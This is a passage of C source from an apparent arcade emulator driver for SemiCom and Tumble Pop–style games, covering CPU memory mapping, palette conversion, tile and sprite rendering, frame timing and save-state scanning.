SemicomSoundCommand = 1; DrvLoadRoms = BcstryLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x8000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; //Pf1XOffset = 8; Pf1XOffset = -5; Pf1YOffset = 0; //Pf2XOffset = 8; Pf2XOffset = -1; Pf2YOffset = 0; return nRet; } static int SemibaseInit() { int nRet; Semibase = 1; Bcstry = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvYM2151Freq = 3427190; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = BcstryLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x8000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -2; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 0; return nRet; } static int DquizgoInit() { int nRet; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 2; SemicomSoundCommand = 1; DrvLoadRoms = MetlsavrLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x4000, 0x4000, 0x1000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 2; return nRet; } static inline int JumppopSynchroniseStream(int nSoundRate) { return (long long)(ZetTotalCycles() * nSoundRate / 3500000); } static int JumppopInit() { int nRet = 0, nLen; DrvSpriteRamSize = 0x1000; DrvNumSprites = 0x4000, DrvNumChars = 0x8000, DrvNumTiles = 0x2000, DrvHasZ80 = 1; DrvHasYM3812 = 1; // Allocate and Blank all required memory Mem = NULL; JumppopMemIndex(); nLen = MemEnd - (unsigned char *)0; if ((Mem = (unsigned char *)malloc(nLen)) == NULL) return 1; memset(Mem, 0, nLen); JumppopMemIndex(); DrvTempRom = (unsigned char *)malloc(0x200000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00000, 0, 1); if (nRet != 0) return 1; // Load Z80 Program Roms memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvZ80Rom, 1, 1); if (nRet != 0) return 1; // Load and decode the tiles memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 2, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 3, 1); if (nRet != 0) return 1; GfxDecode(DrvNumChars, 8, 8, 8, JpCharPlaneOffsets, JpCharXOffsets, JpCharYOffsets, 0x100, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 8, 16, 16, JpTilePlaneOffsets, JpTileXOffsets, JpTileYOffsets, 0x400, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 4, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 5, 1); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 6, 1); if (nRet != 0) return 1; free(DrvTempRom); // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x07ffff, SM_ROM); SekMapMemory(Drv68KRam , 0x120000, 0x123fff, SM_RAM); SekMapMemory(DrvPaletteRam , 0x140000, 0x1407ff, SM_RAM); SekMapMemory(DrvSpriteRam , 0x160000, 0x160fff, SM_RAM); SekMapMemory(Drv68KRam + 0x4000 , 0x1a0000, 0x1a7fff, SM_RAM); SekMapMemory(DrvPf1Ram , 0x320000, 0x323fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0x300000, 0x303fff, SM_RAM); SekSetReadWordHandler(0, Jumppop68KReadWord); SekSetWriteWordHandler(0, Jumppop68KWriteWord); SekClose(); // Setup the Z80 emulation ZetInit(1); ZetOpen(0); ZetSetInHandler(JumppopZ80PortRead); ZetSetOutHandler(JumppopZ80PortWrite); ZetMapArea(0x0000, 0x2fff, 0, DrvZ80Rom ); ZetMapArea(0x0000, 0x2fff, 2, DrvZ80Rom ); ZetMapArea(0x8000, 0xbfff, 0, DrvZ80Rom + 0x8000 ); ZetMapArea(0x8000, 0xbfff, 2, DrvZ80Rom + 0x8000 ); ZetMapArea(0xf800, 0xffff, 0, DrvZ80Ram ); ZetMapArea(0xf800, 0xffff, 1, DrvZ80Ram ); ZetMapArea(0xf800, 0xffff, 2, DrvZ80Ram ); ZetMemEnd(); ZetClose(); BurnYM3812Init(3500000, NULL, JumppopSynchroniseStream, 0); BurnTimerAttachZetYM3812(3500000); // Setup the OKIM6295 emulation MSM6295Init(0, 875000 / 132, 100.0, 1); BurnSetRefreshRate(60.0); nCyclesTotal[0] = 16000000 / 60; nCyclesTotal[1] = 3500000 / 60; DrvSpriteXOffset = 1; DrvSpriteYOffset = 0; DrvSpriteMask = 0x7fff; DrvSpriteColourMask = 0x0f; Pf1XOffset = -0x3a0; Pf1YOffset = 0; Pf2XOffset = -0x3a2; Pf2YOffset = 0; GenericTilesInit(); DrvRender = JumppopDraw; // Reset the driver DrvDoReset(); return 0; } static int DrvExit() { SekExit(); if (DrvHasZ80) ZetExit(); if (DrvHasYM2151) BurnYM2151Exit(); MSM6295Exit(0); GenericTilesExit(); DrvVBlank = 0; DrvOkiBank = 0; DrvZ80Bank = 0; DrvTileBank = 0; DrvSoundLatch = 0; Tumbleb2MusicCommand = 0; Tumbleb2MusicBank = 0; Tumbleb2MusicIsPlaying = 0; DrvSpriteXOffset = 0; DrvSpriteYOffset = 0; DrvSpriteRamSize = 0; DrvSpriteMask = 0; DrvSpriteColourMask = 0; DrvYM2151Freq = 0; DrvNumSprites = 0; DrvNumChars = 0; DrvNumTiles = 0; DrvHasZ80 = 0; DrvHasYM2151 = 0; DrvHasYM3812 = 0; DrvHasProt = 0; Tumbleb2 = 0; Jumpkids = 0; Chokchok = 0; Wlstar = 0; Wondl96 = 0; Bcstry = 0; Semibase = 0; SemicomSoundCommand = 0; Pf1XOffset = 0; Pf1YOffset = 0; Pf2XOffset = 0; Pf2YOffset = 0; DrvLoadRoms = NULL; DrvMap68k = NULL; DrvMapZ80 = NULL; DrvRender = NULL; free(Mem); Mem = NULL; return 0; } static inline unsigned char pal4bit(unsigned char bits) { bits &= 0x0f; return (bits << 4) | bits; } static inline unsigned char pal5bit(unsigned char bits) { bits &= 0x1f; return (bits << 3) | (bits >> 2); } static inline unsigned int CalcCol(unsigned short nColour) { int r, g, b; nColour = swapWord(nColour); r = pal4bit(nColour >> 0); g = pal4bit(nColour >> 4); b = pal4bit(nColour >> 8); return BurnHighCol(r, g, b, 0); } static inline unsigned int HtchctchCalcCol(unsigned short nColour) { int r, g, b; nColour = swapWord(nColour); r = pal5bit(nColour >> 0); g = pal5bit(nColour >> 5); b = pal5bit(nColour >> 10); return BurnHighCol(r, g, b, 0); } static inline unsigned int FncywldCalcCol(unsigned short nColour) { int r, g, b; nColour = swapWord(nColour); r = pal4bit(nColour >> 8); g = pal4bit(nColour >> 4); b = pal4bit(nColour >> 0); return BurnHighCol(r, g, b, 0); } static inline unsigned int JumppopCalcCol(unsigned short nColour) { int r, g, b; nColour = swapWord(nColour); r = pal5bit(nColour >> 10); g = pal5bit(nColour >> 5); b = pal5bit(nColour >> 0); return BurnHighCol(r, g, b, 0); } static void DrvCalcPalette() { int i; unsigned short* ps; unsigned int* pd; for (i = 0, ps = (unsigned short*)DrvPaletteRam, pd = DrvPalette; i < 0x400; i++, ps++, pd++) { *pd = CalcCol(*ps); } } static void HtchctchCalcPalette() { int i; unsigned short* ps; unsigned int* pd; for (i = 0, ps = (unsigned short*)DrvPaletteRam, pd = DrvPalette; i < 0x400; i++, ps++, pd++) { *pd = HtchctchCalcCol(*ps); } } static void FncywldCalcPalette() { int i; unsigned short* ps; unsigned int* pd; for (i = 0, ps = (unsigned short*)DrvPaletteRam, pd = DrvPalette; i < 0x800; i++, ps++, pd++) { *pd = FncywldCalcCol(*ps); } } static void JumppopCalcPalette() { int i; unsigned short* ps; unsigned int* pd; for (i = 0, ps = (unsigned short*)DrvPaletteRam, pd = DrvPalette; i < 0x400; i++, ps++, pd++) { *pd = JumppopCalcCol(*ps); } } static void DrvRenderPf2Layer(int ScrollX, int ScrollY) { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf2Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex]); Code = (Attr & 0xfff) | (DrvTileBank >> 2); Colour = Attr >> 12; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((ScrollX + Pf2XOffset) & 0x3ff); y -= ((ScrollY + Pf2YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile(pTransDraw, Code, x, y, Colour, 4, 512, DrvTiles); } else { Render16x16Tile_Clip(pTransDraw, Code, x, y, Colour, 4, 512, DrvTiles); } } } } static void PangpangRenderPf2Layer() { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf2Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex * 2 + 0]); Code = swapWord(VideoRam[TileIndex * 2 + 1]) & 0xfff; Code |= 0x1000; Colour = (Attr >> 12) & 0x0f; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((DrvControl[3] + Pf2XOffset) & 0x3ff); y -= ((DrvControl[4] + Pf2YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile(pTransDraw, Code, x, y, Colour, 4, 512, DrvTiles); } else { Render16x16Tile_Clip(pTransDraw, Code, x, y, Colour, 4, 512, DrvTiles); } } } } static void FncywldRenderPf2Layer() { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf2Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex * 2 + 1]); Code = swapWord(VideoRam[TileIndex * 2 + 0]); Colour = Attr & 0x1f; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((DrvControl[3] + Pf2XOffset) & 0x3ff); y -= ((DrvControl[4] + Pf2YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile(pTransDraw, Code, x, y, Colour, 4, 0x400, DrvTiles); } else { Render16x16Tile_Clip(pTransDraw, Code, x, y, Colour, 4, 0x400, DrvTiles); } } } } static void JumppopRenderPf2Layer() { int mx, my, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf2Ram; for (my = 0; my < 64; my++) { for (mx = 0; mx < 64; mx++) { Code = swapWord(VideoRam[TileIndex]); Code &= (DrvNumTiles - 1); Colour = 0; x = 16 * mx; y = 16 * my; x -= ((DrvControl[0] + Pf2XOffset) & 0x3ff); y -= ((DrvControl[1] + Pf2YOffset) & 0x3ff); if (x < -16) x += 1024; if (y < -16) y += 1024; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile(pTransDraw, Code, x, y, Colour, 8, 512, DrvTiles); } else { Render16x16Tile_Clip(pTransDraw, Code, x, y, Colour, 8, 512, DrvTiles); } TileIndex++; } } } static void JumppopRenderPf2AltLayer() { int mx, my, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf2Ram; for (my = 0; my < 64; my++) { for (mx = 0; mx < 128; mx++) { Code = swapWord(VideoRam[TileIndex]); Colour = 0; x = 8 * mx; y = 8 * my; x -= ((DrvControl[0] + Pf2XOffset) & 0x3ff); y -= ((DrvControl[1] + Pf2YOffset) & 0x1ff); if (x < -8) x += 1024; if (y < -8) y += 512; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 8, 0, 512, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 8, 0, 512, DrvChars); } TileIndex++; } } } static void DrvRenderPf1Layer(int ScrollX, int ScrollY) { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex]); Code = (Attr & 0xfff) | (DrvTileBank >> 2); Colour = Attr >> 12; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((ScrollX + Pf1XOffset) & 0x3ff); y -= ((ScrollY + Pf1YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvTiles); } else { Render16x16Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvTiles); } } } } static void PangpangRenderPf1Layer() { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex * 2 + 0]); Code = swapWord(VideoRam[TileIndex * 2 + 1]); Colour = (Attr >> 12) & 0x0f; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x3ff); y -= ((DrvControl[2] + Pf1YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvTiles); } else { Render16x16Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvTiles); } } } } static void FncywldRenderPf1Layer() { int mx, my, Attr, Code, Colour, x, y, TileIndex; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { TileIndex = (mx & 0x1f) + ((my & 0x1f) << 5) + ((mx & 0x60) << 5); Attr = swapWord(VideoRam[TileIndex * 2 + 1]); Code = swapWord(VideoRam[TileIndex * 2 + 0]); Colour = Attr & 0x1f; Code &= (DrvNumTiles - 1); x = 16 * mx; y = 16 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x3ff); y -= ((DrvControl[2] + Pf1YOffset) & 0x1ff); if (x < -16) x += 1024; if (y < -16) y += 512; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0x0f, 0x200, DrvTiles); } else { Render16x16Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0x0f, 0x200, DrvTiles); } } } } static void JumppopRenderPf1Layer() { int mx, my, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 64; my++) { for (mx = 0; mx < 64; mx++) { Code = swapWord(VideoRam[TileIndex]) & 0x1fff; Code &= (DrvNumTiles - 1); Colour = 0; x = 16 * mx; y = 16 * my; x -= ((DrvControl[2] + Pf1XOffset) & 0x3ff); y -= ((DrvControl[3] + Pf1YOffset) & 0x3ff); if (x < -16) x += 1024; if (y < -16) y += 1024; y -= 8; if (x > 0 && x < 304 && y > 0 && y < 224) { Render16x16Tile_Mask(pTransDraw, Code, x, y, Colour, 8, 0, 256, DrvTiles); } else { Render16x16Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 8, 0, 256, DrvTiles); } TileIndex++; } } } static void DrvRenderCharLayer() { int mx, my, Attr, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { Attr = swapWord(VideoRam[TileIndex]); Code = (Attr & 0xfff) | DrvTileBank; Colour = Attr >> 12; Code &= (DrvNumChars - 1); x = 8 * mx; y = 8 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x1ff); y -= ((DrvControl[2] + Pf1YOffset) & 0xff); if (x < -8) x += 512; if (y < -8) y += 256; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } TileIndex++; } } } static void PangpangRenderCharLayer() { int mx, my, Attr, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { Attr = swapWord(VideoRam[TileIndex * 2 + 0]); Code = swapWord(VideoRam[TileIndex * 2 + 1]) & 0x1fff; Colour = (Attr >> 12) & 0x1f; Code &= (DrvNumChars - 1); x = 8 * mx; y = 8 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x1ff); y -= ((DrvControl[2] + Pf1YOffset) & 0xff); if (x < -8) x += 512; if (y < -8) y += 256; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } TileIndex++; } } } static void FncywldRenderCharLayer() { int mx, my, Attr, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 32; my++) { for (mx = 0; mx < 64; mx++) { Attr = swapWord(VideoRam[TileIndex * 2 + 1]); Code = swapWord(VideoRam[TileIndex * 2 + 0]) & 0x1fff; if (Code) { Colour = Attr & 0x1f; Code &= (DrvNumChars - 1); x = 8 * mx; y = 8 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x1ff); y -= ((DrvControl[2] + Pf1YOffset) & 0xff); if (x < -8) x += 512; if (y < -8) y += 256; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0x0f, 0x400, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0x0f, 0x400, DrvChars); } } TileIndex++; } } } static void SdfightRenderCharLayer() { int mx, my, Attr, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 64; my++) { for (mx = 0; mx < 64; mx++) { Attr = swapWord(VideoRam[TileIndex]); Code = (Attr & 0xfff) | DrvTileBank; Colour = Attr >> 12; Code &= (DrvNumChars - 1); x = 8 * mx; y = 8 * my; x -= ((DrvControl[1] + Pf1XOffset) & 0x1ff); y -= ((DrvControl[2] + Pf1YOffset) & 0x1ff); if (x < -8) x += 512; if (y < -8) y += 512; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 4, 0, 256, DrvChars); } TileIndex++; } } } static void JumppopRenderCharLayer() { int mx, my, Code, Colour, x, y, TileIndex = 0; UINT16 *VideoRam = (UINT16*)DrvPf1Ram; for (my = 0; my < 64; my++) { for (mx = 0; mx < 128; mx++) { Code = swapWord(VideoRam[TileIndex]); Colour = 0; x = 8 * mx; y = 8 * my; x -= ((DrvControl[2] + Pf1XOffset) & 0x3ff); y -= ((DrvControl[3] + Pf1YOffset) & 0x1ff); if (x < -8) x += 1024; if (y < -8) y += 512; y -= 8; if (x > 0 && x < 312 && y > 0 && y < 232) { Render8x8Tile_Mask(pTransDraw, Code, x, y, Colour, 8, 0, 256, DrvChars); } else { Render8x8Tile_Mask_Clip(pTransDraw, Code, x, y, Colour, 8, 0, 256, DrvChars); } TileIndex++; } } } static void DrvRenderSprites(int MaskColour, int xFlipped) { int Offset; UINT16 *SpriteRam = (UINT16*)DrvSpriteRam; for (Offset = 0; Offset < DrvSpriteRamSize / 2; Offset += 4) { int x, y, Code, Colour, Flash, Multi, xFlip, yFlip, Inc, Mult; Code = swapWord(SpriteRam[Offset + 1]) & DrvSpriteMask; if (!Code) continue; y = swapWord(SpriteRam[Offset]); Flash = y & 0x1000; if (Flash && (GetCurrentFrame() & 1)) continue; x = swapWord(SpriteRam[Offset + 2]); Colour = (x >> 9) & DrvSpriteColourMask; xFlip = y & 0x2000; yFlip = y & 0x4000; Multi = (1 << ((y & 0x600) >> 9)) - 1; x &= 0x1ff; y &= 0x1ff; if (x >= 320) x -= 512; if (y >= 256) y -= 512; y = 240 - y; x = 304 - x; y -= 8; if (yFlip) { Inc = -1; } else { Code += Multi; Inc = 1; } if (xFlipped) { xFlip = !xFlip; x = 304 - x; } Mult = -16; while (Multi >= 0) { int RenderCode = Code - (Multi * Inc); int RenderX = DrvSpriteXOffset + x; int RenderY = DrvSpriteYOffset + y + (Mult * Multi); RenderCode &= (DrvNumSprites - 1); if (RenderX > 16 && RenderX < 304 && RenderY > 16 && RenderY < 224) { if (xFlip) { if (yFlip) { Render16x16Tile_Mask_FlipXY(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } else { Render16x16Tile_Mask_FlipX(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } } else { if (yFlip) { Render16x16Tile_Mask_FlipY(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } else { Render16x16Tile_Mask(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } } } else { if (xFlip) { if (yFlip) { Render16x16Tile_Mask_FlipXY_Clip(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } else { Render16x16Tile_Mask_FlipX_Clip(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } } else { if (yFlip) { Render16x16Tile_Mask_FlipY_Clip(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } else { Render16x16Tile_Mask_Clip(pTransDraw, RenderCode, RenderX, RenderY, Colour, 4, MaskColour, 0, DrvSprites); } } } Multi--; } } } static void DrvDraw() { BurnTransferClear(); DrvCalcPalette(); DrvRenderPf2Layer(DrvControl[3], DrvControl[4]); if (DrvControl[6] & 0x80) { DrvRenderCharLayer(); } else { DrvRenderPf1Layer(DrvControl[1], DrvControl[2]); } DrvRenderSprites(0, 0); BurnTransferCopy(DrvPalette); } static void PangpangDraw() { BurnTransferClear(); DrvCalcPalette(); PangpangRenderPf2Layer(); if (DrvControl[6] & 0x80) { PangpangRenderCharLayer(); } else { PangpangRenderPf1Layer(); } DrvRenderSprites(0, 0); BurnTransferCopy(DrvPalette); } static void SuprtrioDraw() { BurnTransferClear(); HtchctchCalcPalette(); DrvRenderPf2Layer(-DrvControl[3], -DrvControl[4]); DrvRenderPf1Layer(-DrvControl[1], -DrvControl[2]); DrvRenderSprites(0, 0); BurnTransferCopy(DrvPalette); } static void HtchctchDraw() { BurnTransferClear(); HtchctchCalcPalette(); DrvRenderPf2Layer(DrvControl[3], DrvControl[4]); if (DrvControl[6] & 0x80) { DrvRenderCharLayer(); } else { DrvRenderPf1Layer(DrvControl[1], DrvControl[2]); } DrvRenderSprites(0, 0); BurnTransferCopy(DrvPalette); } static void FncywldDraw() { BurnTransferClear(); FncywldCalcPalette(); FncywldRenderPf2Layer(); if (DrvControl[6] & 0x80) { FncywldRenderCharLayer(); } else { FncywldRenderPf1Layer(); } DrvRenderSprites(0x0f, 0); BurnTransferCopy(DrvPalette); } static void SdfightDraw() { BurnTransferClear(); HtchctchCalcPalette(); DrvRenderPf2Layer(DrvControl[3], DrvControl[4]); if (DrvControl[6] & 0x80) { SdfightRenderCharLayer(); } else { DrvRenderPf1Layer(DrvControl[1], DrvControl[2]); } DrvRenderSprites(0, 0); BurnTransferCopy(DrvPalette); } static void JumppopDraw() { BurnTransferClear(); JumppopCalcPalette(); if (DrvControl[7] & 0x01) { JumppopRenderPf2Layer(); } else { JumppopRenderPf2AltLayer(); } if (DrvControl[7] & 0x02) { JumppopRenderPf1Layer(); } else { JumppopRenderCharLayer(); } DrvRenderSprites(0, 1); BurnTransferCopy(DrvPalette); } #define NUM_SCANLINES 315 #define SCANLINE_VBLANK_START 37 #define SCANLINE_VBLANK_END SCANLINE_VBLANK_START + 240 static int DrvFrame() { int nInterleave = NUM_SCANLINES; int nSoundBufferPos = 0; if (DrvReset) DrvDoReset(); DrvMakeInputs(); nCyclesDone[0] = nCyclesDone[1] = 0; SekNewFrame(); if (DrvHasZ80) ZetNewFrame(); DrvVBlank = 0; for (int i = 0; i < nInterleave; i++) { int nCurrentCPU, nNext; // Run 68000 nCurrentCPU = 0; SekOpen(0); nNext = (i + 1) * nCyclesTotal[nCurrentCPU] / nInterleave; nCyclesSegment = nNext - nCyclesDone[nCurrentCPU]; nCyclesDone[nCurrentCPU] += SekRun(nCyclesSegment); if (i == SCANLINE_VBLANK_START) DrvVBlank = 1; if (i == SCANLINE_VBLANK_END) DrvVBlank = 0; if (i == NUM_SCANLINES - 1) { SekSetIRQLine(6, SEK_IRQSTATUS_AUTO); if (Tumbleb2) Tumbleb2PlayMusic(); } SekClose(); if (DrvHasZ80) { // Run Z80 nCurrentCPU = 1; ZetOpen(0); nNext = (i + 1) * nCyclesTotal[nCurrentCPU] / nInterleave; nCyclesSegment = nNext - nCyclesDone[nCurrentCPU]; nCyclesSegment = ZetRun(nCyclesSegment); nCyclesDone[nCurrentCPU] += nCyclesSegment; ZetClose(); } if (pBurnSoundOut) { int nSegmentLength = nBurnSoundLen / nInterleave; short* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1); if (DrvHasYM2151) { if (DrvHasZ80) ZetOpen(0); BurnYM2151Render(pSoundBuf, nSegmentLength); if (DrvHasZ80) ZetClose(); } MSM6295Render(0, pSoundBuf, nSegmentLength); nSoundBufferPos += nSegmentLength; } } // Make sure the buffer is entirely filled. if (pBurnSoundOut) { int nSegmentLength = nBurnSoundLen - nSoundBufferPos; short* pSoundBuf = pBurnSoundOut + (nSoundBufferPos << 1); if (nSegmentLength) { if (DrvHasYM2151) { if (DrvHasZ80) ZetOpen(0); BurnYM2151Render(pSoundBuf, nSegmentLength); if (DrvHasZ80) ZetClose(); } MSM6295Render(0, pSoundBuf, nSegmentLength); } } if (pBurnDraw) DrvRender(); return 0; } static int JumppopFrame() { int nInterleave = 1953; if (DrvReset) DrvDoReset(); DrvMakeInputs(); nCyclesDone[0] = nCyclesDone[1] = 0; SekNewFrame(); ZetNewFrame(); for (int i = 0; i < nInterleave; i++) { int nCurrentCPU, nNext; // Run 68000 nCurrentCPU = 0; SekOpen(0); nNext = (i + 1) * nCyclesTotal[nCurrentCPU] / nInterleave; nCyclesSegment = nNext - nCyclesDone[nCurrentCPU]; nCyclesDone[nCurrentCPU] += SekRun(nCyclesSegment); if (i == 1952) { SekSetIRQLine(6, SEK_IRQSTATUS_AUTO); } SekClose(); // Run Z80 nCurrentCPU = 1; ZetOpen(0); nNext = (i + 1) * nCyclesTotal[nCurrentCPU] / nInterleave; nCyclesSegment = nNext - nCyclesDone[nCurrentCPU]; nCyclesSegment = ZetRun(nCyclesSegment); nCyclesDone[nCurrentCPU] += nCyclesSegment; ZetNmi(); ZetClose(); } ZetOpen(0); BurnTimerEndFrameYM3812(nCyclesTotal[1] - nCyclesDone[1]); BurnYM3812Update(pBurnSoundOut, nBurnSoundLen); ZetClose(); MSM6295Render(0, pBurnSoundOut, nBurnSoundLen); if (pBurnDraw) JumppopDraw(); return 0; } #undef NUM_SCANLINES #undef SCANLINE_VBLANK_START #undef SCANLINE_VBLANK_END static int DrvScan(int nAction, int *pnMin) { struct BurnArea ba; if (pnMin != NULL) { // Return minimum compatible version *pnMin = 0x029676; } if (nAction & ACB_MEMORY_RAM) { memset(&ba, 0, sizeof(ba)); ba.Data = RamStart; ba.nLen = RamEnd-RamStart; ba.szName = "All Ram"; BurnAcb(&ba); } if (nAction & ACB_DRIVER_DATA) { SekScan(nAction); if (DrvHasZ80) ZetScan(nAction); if (DrvHasYM2151) BurnYM2151Scan(nAction); MSM6295Scan(0, nAction); // Scan critical driver variables SCAN_VAR(nCyclesDone); 